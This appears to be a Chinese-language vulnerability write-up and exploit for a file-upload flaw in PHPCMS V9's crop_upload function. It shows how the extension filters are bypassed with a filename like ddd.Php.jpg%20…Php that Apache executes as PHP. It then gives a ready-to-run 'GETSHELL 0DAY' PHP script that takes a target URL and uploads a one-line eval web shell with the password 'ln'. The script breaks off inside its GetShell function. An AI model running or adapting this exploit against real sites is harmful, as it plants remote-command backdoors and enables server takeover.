漏洞文件:phpcms\modules\attachment\attachments.php

  public function crop_upload() {

if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {

  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];

  if (isset($_GET['width']) && !empty($_GET['width'])) {

  $width = intval($_GET['width']);

  }

  if (isset($_GET['height']) && !empty($_GET['height'])) {

  $height = intval($_GET['height']);

  }

  if (isset($_GET['file']) && !empty($_GET['file'])) {

  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号

  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键

  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {

  $file = $_GET['file'];

  $basename = basename($file);//获取带有后缀的文件名

  if (strpos($basename, 'thumb_')!==false) {

  $file_arr = explode('_', $basename);

  $basename = array_pop($file_arr);

  }

  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;

  } else {

  pc_base::load_sys_class('attachment','',0);

  $module = trim($_GET['module']);

  $catid = intval($_GET['catid']);

  $siteid = $this->get_siteid();

  $attachment = new attachment($module, $catid, $siteid);

  $uploadedfile['filename'] = basename($_GET['file']); 

  $uploadedfile['fileext'] = fileext($_GET['file']);

  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {

  $uploadedfile['isimage'] = 1;

  }

  $file_path = $this->upload_path.date('Y/md/');

  pc_base::load_sys_func('dir');

  dir_create($file_path);

  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];

  $uploadedfile['filepath'] = date('Y/md/').$new_file;

  $aid = $attachment->add($uploadedfile);

  }

  $filepath = date('Y/md/');

  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控

  } else {

  return false;

  }

  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;

  exit;

  }

  }

后缀检测:phpcms\modules\attachment\functions\global.func.php

function is_image($file) {

  $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');

  $ext = fileext($file);关键地方

  return in_array($ext,$ext_arr) ? $ext_arr :false;

  }

关键函数:

  function fileext($filename) {

  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));

  }

  Fileext函数是对文件后缀名的提取。

  根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php

  经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。

  我们回到public function crop_upload() 函数中

  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();

  在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数

  这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。

  经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。

  最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。

  看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。 



exp:

<?php

error_reporting(E_ERROR);

set_time_limit(0);

$pass="ln";

print_r('

+---------------------------------------------------------------------------+

PHPCms V9 GETSHELL 0DAY 

code by L.N.

apache 适用(利用的apache的解析漏洞)

+---------------------------------------------------------------------------+

');

if ($argc < 2) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' url path

Example: 

1.php '.$argv[0].' lanu.sinaapp.com

2.php '.$argv[0].' lanu.sinaapp.com /phpcms

+---------------------------------------------------------------------------+

');

exit;

}

$url = $argv[1];

$path = $argv[2];

$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';

$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';

if($ret=Create_dir($url,$path))

{

//echo $ret;

$pattern = "|Server:[^,]+?|U";

preg_match_all($pattern, $ret, $matches);

if($matches[0][0])

{

if(strpos($matches[0][0],'Apache') == false)

{

echo "\n亲!此网站不是apache的网站。\n";exit;

}

}

$ret = GetShell($url,$phpshell,$path,$file);

$pattern = "|http:\/\/[^,]+?\.,?|U";

preg_match_all($pattern, $ret, $matches);

if($matches[0][0])

{

echo "\n".'密码为: '.$pass."\n";

echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;

}

else

{

$pattern = "|\/uploadfile\/[^,]+?\.,?|U";

preg_match_all($pattern, $ret, $matches);

if($matches[0][0])

{

echo "\n".'密码为: '.$pass."\n";

echo "\r\nurl地址:".''.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;

}

else

{

echo "\r\n没得到!\n";exit;

}

}

}

function GetShell($url,$shell,$path,$js)

{

$content =$shell;